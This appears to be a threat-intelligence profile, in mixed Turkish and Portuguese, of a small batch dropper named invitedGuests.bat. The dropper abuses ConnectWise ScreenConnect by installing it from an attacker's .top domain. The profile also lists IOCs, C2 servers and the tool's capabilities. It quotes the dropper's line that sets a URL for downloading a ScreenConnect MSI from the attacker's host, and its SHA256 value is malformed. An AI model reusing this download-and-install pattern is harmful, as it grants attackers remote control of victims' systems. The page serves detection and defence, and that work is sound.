ScreenConnect/ConnectWise -- 1052 Byte invitedGuests.bat, hbdhfijnsgjnds.top .top C2 | Yüksek

Manuel Statik Analiz — ScreenConnect/ConnectWise RAT Kötüye Kullanımı | Tehdit: YUKSEK

Arquivo Kimliği

SHA256	`e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1`
Nome do arquivo	invitedGuests.bat ("davet edilen misafirler" sosyal mühendislik)
Tamanho	1.052 byte (1KB!) — ultra küçük batch script
String Sayisi	23

C2 Kontrollü ScreenConnect Kurulumu

LOLBAS Teknik: Meşru uzaktan destek yazılımını silah haline getirme!

set "MY_URL=https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Acce..."
-- hbdhfijnsgjnds.top = 13 karakter rastgele .top TLD (C2 server)
-- admin.* = yönetici panel subdomain
-- /Bin/ScreenConnect.ClientSetup.msi = ConnectWise kurulum paketi
-- ?e=Access → kurulum parametresi (özel erişim grubu)
-- BAT → MSI indir → ConnectWise kur → saldırgana tam erişim!

Meşru RMM Kötüye Kullanımı

ConnectWise ScreenConnect, meşru bir uzaktan yönetim aracıdır (RMM). Saldırganlar bu tür araçları kendi sunucularından yükletip kurumsal sistemlere kalıcı uzaktan erişim sağlar. Antivirüsler meşru RMM araçlarını genellikle tehdit olarak işaretlemez. CVE-2024-1709 (CVSS 10.0) gibi kritik açıklar keşfedildi.

IOC

SHA256	`e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1`
C2	admin.hbdhfijnsgjnds.top (.top TLD)
Arquivo	invitedGuests.bat (1052 byte)

ScreenConnect — Perfil do malware

ScreenConnect ConnectWise meşru RMM araç kötüye kullanımı. invitedGuests.bat. BAT dropper + MSI kurulum.

Tipo de malware

RAT

Linguagem de programação

Proprietary

Protocolo C2

HTTPS

Sistemas-alvo

Küresel Kurumsal

Capacidades e comportamento

Uzaktan Erişim & Kontrol

Keylogger

Ekran Görüntüsü

Webcam Erişimi

Dosya Yönetimi

Süreç Yönetimi

Komut Yürütme

Kalıcılık Mekanizması

Lista IOC (1 indicadores)

IOC — ScreenConnect

# DOMAIN
hbdhfijnsgjnds.top

Tipo	Valor	Nota
domain	hbdhfijnsgjnds.top

ScreenConnect — Ver perfil completo →

Servidores C2 (2 servidores registrados para esta família)

Endereço	Tipo	Porta	Protocolo	Status	País
hbdhfijnsgjnds.top	domain	443	HTTPS	inactive	—
hbdhfijnsgjnds.top	domain	443	HTTPS	inactive	—

Os endereços C2 são fornecidos apenas a partir de amostras de malware verificadas manualmente pela equipe KEYDAL. O uso comercial é proibido.